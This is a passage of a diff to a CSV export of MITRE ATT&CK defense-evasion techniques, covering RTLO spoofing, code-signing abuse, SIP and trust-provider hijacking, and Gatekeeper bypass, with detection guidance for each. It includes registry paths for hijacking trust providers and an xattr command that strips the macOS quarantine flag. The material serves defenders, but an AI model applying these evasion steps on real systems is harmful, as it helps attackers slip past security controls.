'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1036/002', 'external_id': 'T1036.002'}, {'source_name': 'Infosecinstitute RTLO Technique', 'description': 'Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019.', 'url': 'https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/'}, {'source_name': 'Trend Micro PLEAD RTLO', 'description': 'Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/'}, {'source_name': 'Kaspersky RTLO Cyber Crime', 'description': 'Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019.', 'url': 'https://securelist.com/zero-day-vulnerability-in-telegram/83800/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Metadata'],,"Detection methods should include looking for common formats of RTLO characters within filenames such as \u202E, [U+202E], and %E2%80%AE. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.",True,,"['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-10T19:49:46.752Z,2020-02-10T19:52:47.724Z,Invalid Code Signature,"Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017) -Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1036/001', external_id='T1036.001'), ExternalReference(source_name='Threatexpress MetaTwin 2017', description='Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019.', url='https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/')]",attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-02-10 19:52:47.724000+00:00,Invalid Code Signature,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['File: File Metadata'],,,,,"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.",,,,,True,,,,"['macOS', 'Windows']",,,,1.0 -2020-02-05 19:34:04.910000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017) +Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1036/001', 'external_id': 'T1036.001'}, {'source_name': 'Threatexpress MetaTwin 2017', 'description': 'Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019.', 'url': 'https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Metadata'],,"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.",True,,"['macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-05T19:34:04.910Z,2021-02-09T15:58:04.719Z,SIP and Trust Provider Hijacking,"Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017) Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017) @@ -1741,7 +1947,7 @@ Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), advers * Modifying the DLL and Function Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex). * **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001). -Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1553/003', external_id='T1553.003'), ExternalReference(source_name='Microsoft Authenticode', description='Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.', url='https://msdn.microsoft.com/library/ms537359.aspx'), ExternalReference(source_name='Microsoft WinVerifyTrust', description='Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.', url='https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx'), ExternalReference(source_name='SpectorOps Subverting Trust Sept 2017', description='Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.', url='https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf'), ExternalReference(source_name='EduardosBlog SIPs July 2008', description='Navarro, E. (2008, July 11). SIP’s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.', url='https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/'), ExternalReference(source_name='Microsoft Catalog Files and Signatures April 2017', description='Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.', url='https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files'), ExternalReference(source_name='GitHub SIP POC Sept 2017', description='Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.', url='https://github.com/mattifestation/PoCSubjectInterfacePackage'), ExternalReference(source_name='Entrust Enable CAPI2 Aug 2017', description='Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.', url='http://www.entrust.net/knowledge-base/technote.cfm?tn=8165'), ExternalReference(source_name='Microsoft Registry Auditing Aug 2016', description='Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.', url='https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)'), ExternalReference(source_name='Microsoft Audit Registry July 2012', description='Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.', url='https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)')]",attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-02-09 15:58:04.719000+00:00,SIP and Trust Provider Hijacking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Matt Graeber, @mattifestation, SpecterOps']","['Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification']","['Application control', 'Autoruns Analysis', 'Digital Certificate Validation', 'User Mode Signature Validation']",,,,"Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) +Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1553/003', 'external_id': 'T1553.003'}, {'source_name': 'Microsoft Authenticode', 'description': 'Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.', 'url': 'https://msdn.microsoft.com/library/ms537359.aspx'}, {'source_name': 'Microsoft WinVerifyTrust', 'description': 'Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx'}, {'source_name': 'SpectorOps Subverting Trust Sept 2017', 'description': 'Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.', 'url': 'https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf'}, {'source_name': 'EduardosBlog SIPs July 2008', 'description': 'Navarro, E. (2008, July 11). SIP’s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.', 'url': 'https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/'}, {'source_name': 'Microsoft Catalog Files and Signatures April 2017', 'description': 'Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.', 'url': 'https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files'}, {'source_name': 'GitHub SIP POC Sept 2017', 'description': 'Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.', 'url': 'https://github.com/mattifestation/PoCSubjectInterfacePackage'}, {'source_name': 'Entrust Enable CAPI2 Aug 2017', 'description': 'Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.', 'url': 'http://www.entrust.net/knowledge-base/technote.cfm?tn=8165'}, {'source_name': 'Microsoft Registry Auditing Aug 2016', 'description': 'Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.', 'url': 'https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)'}, {'source_name': 'Microsoft Audit Registry July 2012', 'description': 'Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.', 'url': 'https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matt Graeber, @mattifestation, SpecterOps']","['Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification']","['Application control', 'Autoruns Analysis', 'Digital Certificate Validation', 'User Mode Signature Validation']","Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017) @@ -1754,86 +1960,92 @@ Utilize Sysmon detection rules and/or enable the Registry (Global Object Access **Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017) -Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)",,,,,True,,,"['SYSTEM', 'Administrator']",['Windows'],,,,1.0 -2020-02-05 16:27:37.784000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature. +Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)",True,"['SYSTEM', 'Administrator']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-05T16:27:37.784Z,2020-02-10T19:51:01.601Z,Code Signing,"Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature. Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing) -Code signing certificates may be used to bypass security policies that require signed code to execute on a system. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1553/002', external_id='T1553.002'), ExternalReference(source_name='Wikipedia Code Signing', description='Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.', url='https://en.wikipedia.org/wiki/Code_signing'), ExternalReference(source_name='Securelist Digital Certificates', description='Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.', url='https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/'), ExternalReference(source_name='Symantec Digital Certificates', description='Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.', url='http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates')]",attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-02-10 19:51:01.601000+00:00,Code Signing,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['File: File Metadata'],['Windows User Account Control'],,,,Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.,,,,,True,,,,"['macOS', 'Windows']",,,,1.0 -2020-02-05 16:16:08.471000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls. In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. +Code signing certificates may be used to bypass security policies that require signed code to execute on a system. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1553/002', 'external_id': 'T1553.002'}, {'source_name': 'Wikipedia Code Signing', 'description': 'Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.', 'url': 'https://en.wikipedia.org/wiki/Code_signing'}, {'source_name': 'Securelist Digital Certificates', 'description': 'Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.', 'url': 'https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/'}, {'source_name': 'Symantec Digital Certificates', 'description': 'Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.', 'url': 'http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Metadata'],['Windows User Account Control'],Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.,True,,"['macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-05T16:16:08.471Z,2021-10-14T21:18:30.629Z,Gatekeeper Bypass,"Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called com.apple.quarantine can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper) -Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X) - -In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1553/001', external_id='T1553.001'), ExternalReference(source_name='Methods of Mac Malware Persistence', description='Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', url='https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'), ExternalReference(source_name='Clearing quarantine attribute', description='Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.', url='https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/'), ExternalReference(source_name='OceanLotus for OS X', description='Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.', url='https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update'), ExternalReference(source_name='Bypassing Gatekeeper', description=""Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017."", url='https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/')]",attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-06-20 22:41:20.063000+00:00,Gatekeeper Bypass,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Metadata', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']","['Application control', 'Anti-virus']",,,,"Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.",,,,,True,,,"['User', 'Administrator']",['macOS'],,,,1.0 -2020-02-05 14:54:07.588000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site. +The quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the com.apple.quarantine quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile. Similarly, this attribute can be recursively removed from all files in a folder using xattr, sudo xattr -d com.apple.quarantine /path/to/folder.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021) + +Apps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1553/001', 'external_id': 'T1553.001'}, {'source_name': 'TheEclecticLightCompany apple notarization ', 'description': 'How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021.', 'url': 'https://eclecticlight.co/2020/08/28/how-notarization-works/'}, {'source_name': 'Bypassing Gatekeeper', 'description': ""Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017."", 'url': 'https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/'}, {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'}, {'source_name': 'TheEclecticLightCompany Quarantine and the flag', 'description': 'hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021.', 'url': 'https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/'}, {'source_name': 'theevilbit gatekeeper bypass 2021', 'description': 'Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021.', 'url': 'https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/'}, {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}, {'source_name': 'Clearing quarantine attribute', 'description': 'Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.', 'url': 'https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/'}, {'source_name': 'OceanLotus for OS X', 'description': 'Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.', 'url': 'https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Metadata', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']","['Application control', 'Anti-virus']","The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. + +Review false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. + +QuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)",True,"['User', 'Administrator']",['macOS'],1.1,,,,,,, +attack-pattern,attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-05T14:54:07.588Z,2021-10-14T21:18:32.225Z,Subvert Trust Controls,"Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site. -Adversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1553', external_id='T1553'), ExternalReference(source_name='SpectorOps Subverting Trust Sept 2017', description='Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.', url='https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf'), ExternalReference(source_name='Securelist Digital Certificates', description='Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.', url='https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/'), ExternalReference(source_name='Symantec Digital Certificates', description='Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.', url='http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates'), ExternalReference(source_name='SpectorOps Code Signing Dec 2017', description='Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.', url='https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec')]",attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-26 15:41:39.612000+00:00,Subvert Trust Controls,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Module: Module Load']","['Application control', 'Anti-virus', 'Autoruns Analysis', 'Digital Certificate Validation', 'Process whitelisting', 'User Mode Signature Validation', 'Windows User Account Control']",,,,"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) +Adversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1553', 'external_id': 'T1553'}, {'source_name': 'SpectorOps Subverting Trust Sept 2017', 'description': 